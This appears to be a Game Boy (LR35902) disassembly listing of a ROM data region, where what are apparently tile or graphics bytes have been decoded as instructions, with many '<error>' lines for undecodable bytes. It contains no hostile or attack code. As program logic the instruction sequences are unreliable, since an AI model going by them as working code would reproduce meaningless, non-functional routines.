jp .l_c3dd
<error>
add a, e
sbc a, l
add a, e
cp l
add a, e
cp l
inc bc
dec a
rst 38
rst 38
ret nz
cp a
ret nz
cp a
ret nz
cp a
ret nz
cp a
rst 38
add a, b
add a, b
add a, b
add a, b
add a, b
add a, b
add a, b
inc bc
<error>
inc bc
<error>
inc bc
<error>
inc bc
<error>
rst 38
ld bc, $0101
ld bc, $0101
ld bc, $0f10
stop
rrc a
stop
rrc a
stop
rrc a
stop
rrc a
stop
rrc a
rr a
nop
rst 38
rst 38
ld a, l
ld a, l
ld h, c
ld h, c
ld bc, $018f
rst 38
ld bc, $01ff
rst 38
rst 38
ld bc, $ffff
cp [hl]
cp [hl]
add a, [hl]
add a, [hl]
add a, b
pop af
add a, b
rst 38
add a, b
rst 38
add a, b
rst 38
rst 38
add a, b
rst 38
rst 38
ld [$08f0], sp
ldh a, [$ff00 + $08]
ldh a, [$ff00 + $08]
ldh a, [$ff00 + $08]
ldh a, [$ff00 + $08]
ldh a, [$ff00 + $f8]
nop
rst 38
rst 38
ret nz
cp a
call z, func_d2bf
or e
<error>
and c
sbc a, $80
rst 38
adc a, h
rst 38
sbc a, [hl]
rst 38
rst 38
inc bc
<error>
inc sp
<error>
ld c, e
call func_85b7
ld a, e
ld bc, $31ff
rst 38
ld a, c
rst 38
rst 38
ld [bc], a
nop
jr nz, 0.l_43a4
ld bc, $0800
nop
add a, b
nop
nop
nop
ldi [hl], a
nop
ld [$0000], sp
nop
ld a, [hl]
nop
ld a, d
nop
ld e, [hl]
nop
ld a, [hl]
nop
halt
nop
ld a, [hl]
nop
nop
nop
<error>
rst 38
ld a, a
ccf
ld a, a
daa
ld h, a
inc hl
ld h, a
inc hl
ld a, a
daa
ld a, a
ccf
<error>
rst 38
rl a
pop af
cpl
<error>
ld e, a
rst 0
ld e, a
rst 0
cpl
<error>
rl a
pop af
rst 38
ld bc, $ffff
add sp, d
adc a, a
<error>
rst 0
ld a, [$fae3]
<error>
<error>
rst 0
add sp, d
adc a, a
rst 38
add a, b
rst 38
rst 38
rst 0
rst 38
cp $fc
cp $e4
and $c4
and $c4
cp $e4
cp $fc
rst 0
rst 38
rst 38
rst 38
add a, b
add a, b
sbc a, [hl]
sbc a, [hl]
sbc a, [hl]
sub a, d
sbc a, [hl]
sub a, d
sbc a, [hl]
sub a, d
sbc a, [hl]
sbc a, [hl]
add a, b
add a, b
rst 38
rst 38
ld bc, $7901
ld a, c
ld a, c
ld c, c
ld a, c
ld c, c
ld a, c
ld c, c
ld a, c
ld a, c
ld bc, $ff01
rst 38
add a, b
add a, b
and b
cp a
and b
cp a
and b
cp a
and b
cp a
cp a
cp a
cp a
cp a
rst 38
rst 38
ld bc, $0501
<error>
dec b
<error>
dec b
<error>
dec b
<error>
<error>
<error>
<error>
<error>
ccf
ccf
ld b, b
ld b, b
adc a, a
adc a, a
sbc a, a
sbc a, a
sbc a, a
sbc a, a
sbc a, a
sbc a, a
sbc a, a
sbc a, a
adc a, a
adc a, a
<error>
<error>
ld [bc], a
ld [bc], a
pop af
pop af
ld sp, hl
ld sp, hl
ld sp, hl
ld sp, hl
ld sp, hl
ld sp, hl
ld sp, hl
ld sp, hl
pop af
pop af
rst 38
rst 38
ret nz
cp a
pop bc
cp [hl]
jp .l_c7bc
cp b
adc a, $b1
call z, func_c8b3
or a
rst 38
rst 38
inc bc
<error>
add a, e
ld a, l
jp .l_e33d
dec e
ld [hl], e
adc a, l
inc sp
call func_ed13
rst 38
rst 38
sbc a, a
pop bc
sbc a, a
pop bc
sbc a, a
pop bc
sbc a, a
pop bc
add a, c
pop bc
add a, c
rst 38
rst 38
rst 38
jp .l_66ff
ld a, [hl]
inc a
inc a
jr 0.l_44b0
ld b, b
nop
ld bc, $3c00
nop
ld b, d
nop
nop
rst 38
nop
add a, b
jr nz, 0.l_4465
jr nz, 0.l_4467
ccf
cp a
ccf
cp a
ccf
cp h
ccf
cp h
nop
rst 38
nop
ld bc, $fd7c
ld b, h
push bc
call nz, func_c4c5
push bc
call nz, func_c445
ld b, l
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add a, b
add a, b
rst 38
rst 38
push de
sbc a, l
push de
sbc a, l
call nc, func_df9c
sbc a, a
ret nz
add a, b
rst 38
rst 38
ld bc, $ff01
rst 38
xor e
cp c
xor e
cp c
dec hl
add hl, sp
ei
ld sp, hl
inc bc
ld bc, $ffff
add a, b
add a, b
rst 0
ret nz
ld h, h
ldh [$ff00 + $34], a
ldh a, [$ff00 + $36]
ldh a, [$ff00 + $63]
ldh [$ff00 + $c0], a
ret nz
adc a, b
add a, b
ld bc, $8b01
inc bc
ld b, [hl]
rlc a
inc l
rrc a
ld l, h
rrc a
add a, $07
inc de
inc bc
ld bc, $8001
add a, b
add a, b
ret nz
add a, b
cp a
add a, b
add a, b
call nz, func_e284
ld b, d
cp a
and b
rst 18
rst 38
ld bc, $0101
inc bc
ld bc, $01fd
ld bc, $2123
ld b, a
ld b, d
<error>
dec b
ei
rst 38
rst 10
jr c, 0.l_44f6
ld a, h
stop
rst 38
jr c, 0.l_4567
ld a, h
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
inc a
rst 38
jr 0.l_4581
nop
rst 38
rst 38
rst 38
rst 38
nop
nop
nop
nop
rst 38
rst 38
rst 38
rst 38
nop
nop
ld h, d
nop
inc a
nop
jr 0.l_4596
ld b, b
nop
ld a, [de]
jr 0.l_45d7
inc a
ld h, [hl]
ld a, [hl]
jp .l_3fff
cp h
daa
cp h
daa
cp h
daa
cp h
daa
cp h
ccf
cp a
nop
add a, b
nop
rst 38
call nz, func_c445
ld b, l
call nz, func_c445
ld b, l
call nz, func_fc45
<error>
nop
ld bc, $ff00
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
rlc a
nop
inc b
inc bc
inc b
inc bc
inc c
inc bc
ld a, h
inc bc
ld h, b
rr a
ld c, a
ccf
nop
nop
ldh [$ff00 + $00], a
ld h, b
add a, b
jr nz, 0.l_45d8
or b
ret nz
cp [hl]
ret nz
add a, d
<error>
add a, d
<error>
ld b, c
ccf
ld b, c
ccf
ld a, l
inc bc
dec c
inc bc
inc b
inc bc
ld b, $01
rlc a
nop
nop
nop
<error>
<error>
ld b, $f8
ld a, $c0
jr nc, 0.l_45f8
jr nz, 0.l_45fa
jr nz, 0.l_45fc
ldh [$ff00 + $00], a
nop
nop
ld bc, $0c0f
inc bc
ld c, $01
adc a, [hl]
ld bc, $8176
ld a, d
add a, c
cp h
jp .l_ff80
add a, b
ldh a, [$ff00 + $30]
ret nz
ld [hl], b
add a, b
ld [hl], c
add a, b
ld l, [hl]
add a, c
ld e, [hl]
add a, c
dec a
jp .l_ff01
add a, b
rst 38
cp h
jp .l_817a
halt
add a, c
adc a, [hl]
ld bc, $010e
inc c
inc bc
ld bc, $010f
rst 38
dec a
jp .l_815e
ld l, [hl]
add a, c
ld [hl], c
add a, b
ld [hl], b
add a, b
jr nc, 0.l_463e
add a, b
ldh a, [$ff00 + $00]
nop
ld bc, $c200
ld bc, $8166
inc a
jp .l_c7b8
or b
rst 8
sub a, b
rst 28
<error>
rst 20
ld h, [hl]
rst 38
inc a
rst 38
sbc a, b
ld a, a
<error>
inc a
rst 28
inc a
jp .l_817e
rst 38
ld b, b
ccf
jr nc, 0.l_46b3
jr 0.l_46ad
inc c
inc bc
rrc a
nop
ld e, $01
jr nc, 0.l_46bd
daa
rr a
pop af
adc a, a
ld [hl], e
rst 8
ld h, $ff
dec a
cp $1d
cp $26
rst 38
ld [hl], e
rst 8
ld sp, hl
add a, a
rst 38
nop
cp l
ld a, [hl]
ld a, [hl]
rst 38
rst 18
<error>
cp l
jp .l_c7b9
sbc a, c
rst 20
adc a, c
rst 30
<error>
rst 20
ld h, [hl]
rst 38
inc a
rst 38
sbc a, b
ld a, a
<error>
inc a
cp l
ld a, [hl]
ld h, [hl]
rst 38
jp .l_dfff
ccf
or b
ld a, a
<error>
ld [hl], e
cp $61
rst 38
ld h, b
ldhl sp, d
ld h, a
or b
ld a, a
rst 18
ccf
cp c
rst 0
<error>
rst 28
ld h, [hl]
rst 38
dec a
cp $3d
cp $66
rst 38
<error>
rst 28
or c
rst 8
add a, e
cp $cf
<error>
ld [hl], a
ldhl sp, d
inc sp
<error>
ld e, b
rst 38
adc a, h
rst 38
add a, $bf
<error>
rr a
<error>
ld a, a
sub a, $3f
adc a, h
ld a, a
inc e
rst 38
ldd [hl], a
rst 38
ld h, [hl]
ei
rst 8
pop af
adc a, a
ldh a, [$ff00 + $f1]
rrc a
di
adc a, a
ld h, [hl]
rst 18
ld c, h
rst 38
jr c, 0.l_4729
ld sp, $6bfe
<error>
rst 0
cp $c7
ldhl sp, d
ld h, e
<error>
ld sp, $1aff
rst 38
call z, func_ee3f
rr a
di
ccf
pop bc
ld a, a
add a, c
rst 38
ld a, a
cp $76
adc a, $7a
add a, $5a
and $66
<error>
ld a, h
ldhl sp, d
ldh [$ff00 + $c0], a
add a, c
rst 38
cp $7f
ld l, [hl]
ld [hl], e
ld e, [hl]
ld h, e
ld e, d
ld h, a
ld h, [hl]
ccf
ld a, $1f
rlc a
inc bc
ldh [$ff00 + $c0], a
ld a, h
ldhl sp, d
ld h, [hl]
<error>
ld e, d
and $7a
add a, $76
adc a, $7f
cp $81
rst 38
rlc a
inc bc
ld a, $1f
ld h, [hl]
ccf
ld e, d
ld h, a
ld e, [hl]
ld h, e
ld l, [hl]
ld [hl], e
cp $7f
add a, c
rst 38
add a, c
rst 38
jp .l_ef7e
inc a
<error>
inc a
sbc a, b
ld a, a
inc a
rst 38
ld h, [hl]
rst 38
<error>
rst 20
sub a, b
rst 28
or b
rst 8
cp b
rst 0
inc a
jp .l_8166
jp nz, .l_0101
nop
nop
nop
sbc a, a
pop hl
adc a, $f3
ld h, h
rst 38
cp b
ld a, a
cp h
ld a, a
ld h, h
rst 38
adc a, $f3
adc a, a
pop af
<error>
ldhl sp, d
inc c
ldh a, [$ff00 + $78]
add a, b
ldh a, [$ff00 + $00]
jr nc, 0.l_477a
jr 0.l_479c
inc c
ldh a, [$ff00 + $02]
<error>
jp .l_66ff
rst 38
cp l
ld a, [hl]
<error>
inc a
sbc a, b
ld a, a
inc a
rst 38
ld h, [hl]
rst 38
<error>
rst 20
adc a, c
rst 30
sbc a, c
rst 20
cp c
rst 0
cp l
jp .l_e3df
ld a, [hl]
rst 38
cp l
ld a, [hl]
rst 38
nop
sbc a, l
<error>
set 6, a
ld h, [hl]
rst 38
cp h
ld a, a
cp h
ld a, a
ld h, [hl]
rst 38
set 6, a
adc a, l
di
ei
<error>
dec c
cp $37
adc a, $7f
add a, [hl]
rst 38
ld b, $1f
and $0d
cp $fb
<error>
rst 38
nop
add a, b
nop
add a, b
ccf
sbc a, a
ccf
sbc a, a
jr c, 0.l_47aa
inc [hl]
sbc a, a
ldd [hl], a
sbc a, a
ld sp, $00ff
ld bc, $0100
<error>
ld sp, hl
<error>
ld sp, hl
inc e
ld sp, hl
inc l
ld sp, hl
ld c, h
ld sp, hl
adc a, h
sbc a, a
ld sp, $329f
sbc a, a
inc [hl]
sbc a, a
jr c, 0.l_47c8
ccf
add a, b
ccf
add a, b
nop
rst 38
nop
ld sp, hl
adc a, h
ld sp, hl
ld c, h
ld sp, hl
inc l
ld sp, hl
inc e
ld sp, hl
<error>
ld bc, $01fc
nop
rst 38
nop
sbc a, a
jr nc, 0.l_4862
jr nc, 0.l_4864
ldh a, [$ff00 + $ff]
ldh a, [$ff00 + $f7]
nop
ei
nop
<error>
nop
cp $00
ld sp, hl
inc c
ldhl sp, d
inc c
ldhl sp, d
rrc a
rst 38
rrc a
rst 28
nop
rst 18
nop
cp a
nop
ld a, a
nop
cp $00
<error>
nop
ei
nop
rst 30
nop
rst 38
ldh a, [$ff00 + $1f]
ldh a, [$ff00 + $1f]
jr nc, 0.l_480e
jr nc, 0.l_48f0
nop
cp a
nop
rst 18
nop
rst 28
nop
rst 38
rrc a
ldhl sp, d
rrc a
ldhl sp, d
inc c
ld sp, hl
inc c
rst 38
nop
nop
nop
nop
rst 38
rst 38
rst 38
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
rst 38
rst 38
rst 38
ld b, b
rst 38
rst 38
rst 38
inc b
rst 38
inc b
rst 38
rst 38
inc b
rst 38
rst 38
sbc a, a
jr nc, 0.l_4842
jr nc, 0.l_4844
jr nc, 0.l_4846
jr nc, 0.l_4848
jr nc, 0.l_484a
jr nc, 0.l_484c
jr nc, 0.l_484e
jr nc, 0.l_487c
cp a
res 7, a
res 7, a
ei
rst 38
res 7, a
res 7, a
rst 8
cp a
res 7, a
add a, c
nop
ld a, [hl]
add a, c
add a, l
ei
add a, c
rst 38
add a, c
rst 38
<error>
rst 38
rst 30
ld a, $3e
<error>
rst 38
rst 38
add a, e
rst 38
pop bc
cp a
pop hl
rst 18
halt
<error>
<error>
ld [hl], $ff
rst 38
inc a
<error>
cp [hl]
ld a, l
ld b, a
ld a, $63
rr a
ld b, c
ccf
ld b, e
ccf
ld b, a
ld a, $46
dec a
cp [hl]
ld a, l
ld l, a
rst 18
ld d, e
rst 38
pop af
ld l, a
pop hl
rst 18
pop af
rst 28
ld sp, hl
ld [hl], a
ld a, l
<error>
ld l, a
rst 18
rst 38
rst 38
rst 38
ret nz
ldh [$ff00 + $bf], a
ret nc
cp a
rst 8
cp a
call z, func_cbbf
cp a
res 7, a
rst 38
rst 38
rst 38
inc bc
rlc a
<error>
dec bc
<error>
di
<error>
inc sp
<error>
<error>
<error>
<error>
<error>
res 7, a
res 7, a
call z, func_cfbf
cp a
ret nc
cp a
ldh [$ff00 + $bf], a
rst 38
ret nz
rst 38
rst 38
<error>
<error>
<error>
<error>
inc sp
<error>
di
<error>
dec bc
<error>
rlc a
<error>
rst 38
inc bc
rst 38
rst 38
res 7, a
srl a
dec hl
rst 18
dec de
rst 28
ei
rst 38
rlc a
ei
rst 38
rst 38
rst 38
rst 38
<error>
<error>
<error>
<error>
call nc, func_d8fb
rst 30
rst 18
rst 38
ldh [$ff00 + $df], a
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rlc a
ei
ei
rst 38
dec de
rst 28
dec hl
rst 18
srl a
res 7, a
rst 38
rst 38
rst 38
rst 38
ldh [$ff00 + $df], a
rst 18
rst 38
ret c
rst 30
call nc, func_d3fb
<error>
<error>
<error>
rst 38
rst 38
rst 38
inc b
inc b
rst 38
inc b
rst 38
rst 38
rst 38
ld b, b
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
rst 38
nop
rst 38
nop
nop
rst 38
nop
<error>
<error>
<error>
<error>
<error>
<error>
rst 18
rst 38
<error>
<error>
<error>
<error>
di
<error>
<error>
<error>
ld sp, hl
inc c
ld sp, hl
inc c
ld sp, hl
inc c
ld sp, hl
inc c
ld sp, hl
inc c
ld sp, hl
inc c
ld sp, hl
inc c
ld sp, hl
inc c
inc a
<error>
rst 38
rst 38
<error>
ld [hl], $76
<error>
pop hl
rst 18
pop bc
cp a
add a, e
rst 38
rst 38
rst 38
ld a, $dd
rst 30
ld a, $e3
rst 38
add a, c
rst 38
add a, c
rst 38
add a, l
ei
ld a, [hl]
add a, c
add a, c
nop
or $fb
jp z, .l_8fff
or $87
ei
adc a, a
rst 30
sbc a, a
xor $be
<error>
or $fb
ld a, l
cp [hl]
ldh [c], a
ld a, h
add a, $f8
add a, d
<error>
jp nz, .l_e2fc
ld a, h
ld h, d
cp h
ld a, l
cp [hl]
nop
nop
ld l, a
ld [hl], b
ld [hl], l
ld a, d
ldd a, [hl]
ld a, l
ld e, h
ccf
ld l, [hl]
rr a
ld d, a
cpl
ld h, e
rr a
nop
nop
or $0e
xor [hl]
ld e, [hl]
ld e, h
cp [hl]
ldd a, [hl]
<error>
halt
ldhl sp, d
ld [$c6f4], a
ldhl sp, d
ld h, e
rr a
ld d, a
cpl
ld l, [hl]
rr a
ld e, h
ccf
ldd a, [hl]
ld a, l
ld [hl], l
ld a, d
ld l, a
ld [hl], b
nop
nop
add a, $f8
ld [$76f4], a
ldhl sp, d
ldd a, [hl]
<error>
ld e, h
cp [hl]
xor [hl]
ld e, [hl]
or $0e
nop
nop
jr 0.l_4a49
stop
rrc a
ld [$c007], sp
rlc a
and b
ld b, e
ld b, b
or c
nop
ldhl sp, d
nop
<error>
jr 0.l_4a32
ld [$10f0], sp
ldh [$ff00 + $03], a
ldh [$ff00 + $05], a
jp nz, .l_8d02
nop
rr a
nop
ccf
nop
<error>
nop
ldhl sp, d
ld b, b
or c
and b
ld b, e
ret nz
rlc a
ld [$1007], sp
rrc a
jr 0.l_4a77
nop
ccf
nop
rr a
ld [bc], a
adc a, l
dec b
jp nz, .l_e003
stop
ldh [$ff00 + $08], a
ldh a, [$ff00 + $18]
ldh [$ff00 + $00], a
nop
sbc a, c
nop
cp $01
ld e, e
and h
add a, h
ld a, e
nop
rst 38
stop
rst 38
ld [bc], a
rst 38
rst 38
rst 38
rst 38
rst 38
xor $ff
ld a, l
rst 38
rst 10
rst 38
ld b, h
rst 38
ld de, $40ff
rst 38
ld d, b
cpl
ld sp, $280f
rl a
ld [hl], b
rrc a
ld [hl], d
rrc a
jr nz, 0.l_4acb
jr nc, 0.l_4abd
ld l, b
rl a
rl a
rst 38
cp a
rst 38
rrc a
rst 38
ld e, e
rst 38
rrc a
rst 38
ccf
rst 38
rl a
rst 38
ld e, e
rst 38
add a, c
nop
halt
adc a, c
adc a, c
rst 30
and e
<error>
adc a, c
rst 38
<error>
rst 38
rst 30
ld a, $3e
<error>
rst 38
rst 38
rst 38
rst 38
rst 30
cp a
<error>
rst 18
halt
<error>
inc a
rst 30
dec a
rst 38
inc a
<error>
cp [hl]
ld a, l
ld d, a
ld l, $43
ccf
add hl, hl
ld e, a
ld b, e
ccf
ld d, a
ld l, $46
dec a
cp [hl]
ld a, l
ld c, a
rst 38
rl a
rst 38
rst 38
ld l, a
<error>
rst 18
rst 38
rst 28
rst 38
ld [hl], a
rr a
ei
rrc a
rst 38
ret nz
rst 38
<error>
rst 38
ld [hl], b
rst 38
ldd a, [hl]
rst 38
dec e
rst 38
sbc a, a
rst 38
rlc a
rst 38
cpl
rst 38
inc bc
rst 38
daa
rst 38
ld c, $ff
ld e, h
rst 38
cp b
rst 38
ld sp, hl
rst 38
ldh [$ff00 + $ff], a
<error>
rst 38
cpl
rst 38
rlc a
rst 38
sbc a, a
rst 38
dec e
rst 38
ldd a, [hl]
rst 38
ld [hl], b
rst 38
<error>
rst 38
ret nz
rst 38
<error>
rst 38
ldh [$ff00 + $ff], a
ld sp, hl
rst 38
cp b
rst 38
ld e, h
rst 38
ld c, $ff
daa
rst 38
inc bc
rst 38
ld d, a
ccf
xor a
rr a
ld b, e
sbc a, a
add a, a
rst 28
inc hl
rst 30
or e
rst 38
<error>
rst 38
rst 38
rst 38
ld [$f5fc], a
ldhl sp, d
jp nz, .l_e1f9
rst 30
call nz, func_cdef
rst 38
cp a
rst 38
rst 38
rst 38
rst 38
rst 38
<error>
rst 38
or e
rst 38
inc hl
rst 30
add a, a
rst 28
ld b, e
sbc a, a
xor a
rr a
ld d, a
ccf
rst 38
rst 38
cp a
rst 38
call func_c4ff
rst 28
pop hl
rst 30
jp nz, .l_f5f9
ldhl sp, d
ld [$40fc], a
rst 38
ld de, $44ff
rst 38
rst 10
rst 38
ld a, l
rst 38
xor $ff
rst 38
rst 38
rst 38
rst 38
ld [bc], a
rst 38
stop
rst 38
nop
rst 38
add a, h
ld a, e
ld e, e
and h
cp $01
sbc a, c
nop
nop
nop
add sp, d
rst 38
<error>
rst 38
ldh a, [$ff00 + $ff]
jp c, .l_f0ff
rst 38
<error>
rst 38
add sp, d
rst 38
jp c, .l_0aff
<error>
adc a, h
ldh a, [$ff00 + $14]
add sp, d
ld c, $f0
ld c, [hl]
ldh a, [$ff00 + $04]
ldhl sp, d
inc c
ldh a, [$ff00 + $16]
add sp, d
inc a
<error>
dec a
rst 38
inc a
rst 30
halt
<error>
<error>
rst 18
rst 30
cp a
rst 38
rst 38
rst 38
rst 38
ld a, $dd
rst 30
ld a, $e3
rst 38
adc a, c
rst 38
and e
<error>
adc a, c
rst 30
halt
adc a, c
add a, c
nop
<error>
rst 38
add sp, d
rst 38
rst 38
or $d7
ei
rst 38
rst 30
rst 38
xor $f8
rst 18
ldh a, [$ff00 + $ff]
ld a, l
cp [hl]
ld [$c274], a
<error>
sub a, h
ld a, [$fcc2]
ld [$6274], a
cp h
ld a, l
cp [hl]
ld b, c
nop
ld b, c
nop
ld b, l
nop
pop bc
nop
<error>
nop
<error>
nop
jr c, 0.l_4c0e
ld [de], a
nop
ldhl sp, d
nop
jr 0.l_4c14
inc c
nop
inc b
nop
add a, a
nop
rst 0
nop
ld b, h
nop
ld l, h
nop
ld d, b
nop
stop
nop
sub a, c
nop
jr 0.l_4c28
inc a
nop
<error>
nop
pop bc
nop
ret
nop
jr c, 0.l_4c32
ldd a, [hl]
nop
jr c, 0.l_4c36
ld h, h
nop
add a, $00
sub a, e
nop
add a, e
nop
rst 38
nop
nop
nop
nop
nop
nop
nop
rlc a
rlc a
inc c
ld [$101b], sp
rl a
stop
rl a
stop
nop
nop
nop
nop
nop
nop
ldh [$ff00 + $e0], a
jr nc, 0.l_4c6a
ret c
ld [$08e8], sp
add sp, d
ld [$1017], sp
dec de
stop
inc d
jr 0.l_4c6f
rrc a
rlc a
rlc a
nop
nop
nop
nop
nop
nop
add sp, d
ld [$08d8], sp
jr z, 0.l_4c8e
stop
ldh a, [$ff00 + $e0]
ldh [$ff00 + $00], a
nop
nop
nop
nop
nop
nop
nop
ccf
nop
ld b, c
nop
ld b, c
nop
ld b, c
nop
ld b, d
nop
ld b, l
nop
ld a, e
nop
nop
nop
ld a, h
nop
ld a, [hl]
nop
ld a, [hl]
nop
ld a, [hl]
nop
ld c, $00
or $00
ldhl sp, d
nop
rlc a
nop
ld a, e
nop
ld a, l
nop
ld a, [hl]
nop
ld a, [hl]
nop
ld a, [hl]
nop
ld a, $00
nop
nop
or $00
ld [$d200], a
nop
ldi [hl], a
nop
jp nz, .l_8200
nop
<error>
nop
nop
nop
nop
add a, c
nop
add a, c
ld b, d
add a, c
ld h, h
add a, e
sbc a, b
ld h, a
ret nz
ccf
ld b, e
inc a
daa
jr 0.l_4cc9
nop
jr 0.l_4cd4
inc l
stop
ret nc
inc h
jr nz, 0.l_4ca1
add hl, hl
add a, $3a
call nz, func_fc00
ld l, l
ld [de], a
cpl
stop
xor [hl]
ld de, $102f
ld b, a
jr c, 0.l_4c83
ld h, a
ldi [hl], a
pop bc
ret
nop
add a, h
ld a, b
jp nz, .l_c038
jr c, 0.l_4ccb
jr z, 0.l_4ca3
ld b, h
ld d, l
add a, d
ld b, l
add a, d
ccf
ret nz
ld b, $00
jr z, 0.l_4d05
inc c
inc bc
nop
nop
jr nz, 0.l_4d0a
ld [bc], a
nop
ld h, b
nop
or c
nop
jr nz, 0.l_4d12
nop
nop
nop
nop
stop
nop
jr nz, 0.l_4d22
jr z, 0.l_4d2c
nop
nop
add a, b
nop
pop hl
stop
ld de, $0060
nop
inc c
nop
ld d, [hl]
nop
inc c
ld [de], a
ld [de], a
inc c
nop
nop
ld b, d
nop
ret nz
nop
nop
nop
nop
nop
jr 0.l_4d3a
inc l
nop
jr c, 0.l_4d42
inc b
jr 0.l_4d41
nop
nop
nop
nop
nop
rlc a
rlc a
inc c
ld [$101b], sp
rl a
stop
rl a
stop
nop
nop
nop
nop
nop
nop
ldh [$ff00 + $e0], a
jr nc, 0.l_4d6a
ret c
ld [$08e8], sp
add sp, d
ld [$1017], sp
dec de
stop
inc d
jr 0.l_4d6f
rrc a
rlc a
rlc a
nop
nop
nop
nop
nop
nop
add sp, d
ld [$08d8], sp
jr z, 0.l_4d8e
stop
ldh a, [$ff00 + $e0]
ldh [$ff00 + $00], a
nop
nop
nop
nop
nop
nop
nop
nop
jr 0.l_4d85
dec h
stop
ld c, c
jr nz, 0.l_4dda
nop
ld l, a
nop
stop
nop
inc l
nop
ld a, h
nop
add a, d
add a, d
dec a
nop
jp .l_0000
nop
ld b, $00
ret
nop
dec hl
nop
add hl, hl
nop
ld hl, $2801
ld [bc], a
ld b, c
inc b
ld d, e
nop
halt
nop
dec e
nop
ld bc, $aa00
ld b, h
xor d
call nz, func_002a
jp z, .l_1200
nop
jp c, .l_2e40
nop
ret nz
ldi [hl], a
nop
ld a, $00
ldh [c], a
nop
ld b, b
ld bc, $0140
jr nz, 0.l_4dce
nop
inc e
nop
inc b
stop
nop
add hl, bc
nop
ld [bc], a
inc c
nop
ld [$f800], sp
nop
inc h
nop
ldi [hl], a
nop
ld b, c
ld [bc], a
inc b
inc bc
rlc a
pop bc
add hl, bc
jr nz, 0.l_4df8
stop
nop
jr 0.l_4dec
ld h, a
nop
ld bc, $4000
ld b, c
ldh [$ff00 + $f9], a
ret nz
add a, [hl]
add a, b
add a, h
nop
add a, h
ld a, $c0
ld bc, $0000
nop
nop
nop
nop
nop
ld h, b
nop
nop
nop
nop
nop
nop
nop
nop
nop
rst 38
nop
nop
nop
nop
nop
nop
nop
nop
nop
ldh [$ff00 + $00], a
nop
nop
nop
nop
rst 38
nop
jr c, 0.l_4e22
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
ld bc, $ff00
nop
nop
nop
nop
nop
nop
nop
inc c
nop
nop
nop
nop
nop
ret nz
nop
rst 38
nop
nop
nop
nop
nop
nop
nop
rlc a
rlc a
inc c
ld [$101b], sp
rl a
stop
rl a
stop
nop
nop
nop
nop
nop
nop
ldh [$ff00 + $e0], a
jr nc, 0.l_4e6a
ret c
ld [$08e8], sp
add sp, d
ld [$1017], sp
dec de
stop
inc d
jr 0.l_4e6f
rrc a
rlc a
rlc a
nop
nop
nop
nop
nop
nop
add sp, d
ld [$08d8], sp
jr z, 0.l_4e8e
stop
ldh a, [$ff00 + $e0]
ldh [$ff00 + $00], a
nop
nop
nop
nop
nop
<error>
nop
pop bc
nop
ld e, l
nop
cp [hl]
nop
cp [hl]
nop
sbc a, l
nop
ld h, e
nop
ei
nop
rst 28
nop
rst 30
nop
ldh a, [$ff00 + $00]
rst 30
nop
rlc a
nop
<error>
nop
call c, func_de00
nop
<error>
nop
ld a, d
nop
or a
nop
rst 8
nop
rst 28
nop
add a, $00
add hl, sp
nop
cp l
nop
sbc a, $00
ld c, $00
ld [hl], c
nop
ld a, e
nop
ld a, e
nop
add hl, sp
nop
add a, $00
rst 28
nop
ldi [hl], a
nop
ld a, $00
ldh [c], a
nop
ld b, b
ld bc, $0140
jr nz, 0.l_4ece
nop
inc e
nop
inc b
stop
nop
add hl, bc
nop
ld [bc], a
inc c
nop
ld [$f800], sp
nop
inc h
nop
ldi [hl], a
nop
ld b, c
ld [bc], a
inc b
inc bc
rlc a
pop bc
add hl, bc
jr nz, 0.l_4ef8
stop
nop
jr 0.l_4eec
ld h, a
nop
ld bc, $4000
ld b, c
ldh [$ff00 + $f9], a
ret nz
add a, [hl]
add a, b
add a, h
nop
add a, h
ld a, $c0
ld bc, $0000
nop
ldh a, [$ff00 + $00]
ld [de], a
nop
stop
nop
jr 0.l_4f08
rrc a
nop
ld bc, $2100
nop
ld bc, $0100
nop
ld bc, $4100
nop
rrc a
nop
jr 0.l_4f1a
stop
nop
ld [de], a
nop
ldh a, [$ff00 + $00]
adc a, a
nop
ld [$0800], sp
nop
jr 0.l_4f28
ldh a, [$ff00 + $00]
add a, h
nop
add a, b
nop
add a, b
nop
add a, b
nop
add a, b
nop
add a, d
nop
ldh a, [$ff00 + $00]
jr 0.l_4f3a
ld [$8800], sp
nop
rrc a
nop
nop
nop
nop
nop
nop
nop
rlc a
rlc a
inc c
ld [$101b], sp
rl a
stop
rl a
stop
nop
nop
nop
nop
nop
nop
ldh [$ff00 + $e0], a
jr nc, 0.l_4f6a
ret c
ld [$08e8], sp
add sp, d
ld [$1017], sp
dec de
stop
inc d
jr 0.l_4f6f
rrc a
rlc a
rlc a
nop
nop
nop
nop
nop
nop
add sp, d
ld [$08d8], sp
jr z, 0.l_4f8e
stop
ldh a, [$ff00 + $e0]
ldh [$ff00 + $00], a
nop
nop
nop
nop
nop
ldh [$ff00 + $00], a
rst 8
nop
sub a, b
nop
daa
nop
ld c, a
nop
ld e, a
nop
ld e, a
nop
ld a, a
nop
rlc a
nop
di
nop
ld sp, hl
nop
<error>
nop
cp $00
cp $00
cp $00
cp $00
ld e, a
nop
ld a, a
nop
ld a, a
nop
ld a, a
nop
ccf
nop
sbc a, h
inc bc
rst 8
nop
ldh [$ff00 + $00], a
cp $00
ld a, [$fa04]
inc b
<error>
inc c
<error>
jr 0.l_4fc4
ldh a, [$ff00 + $f2]
nop
dec b
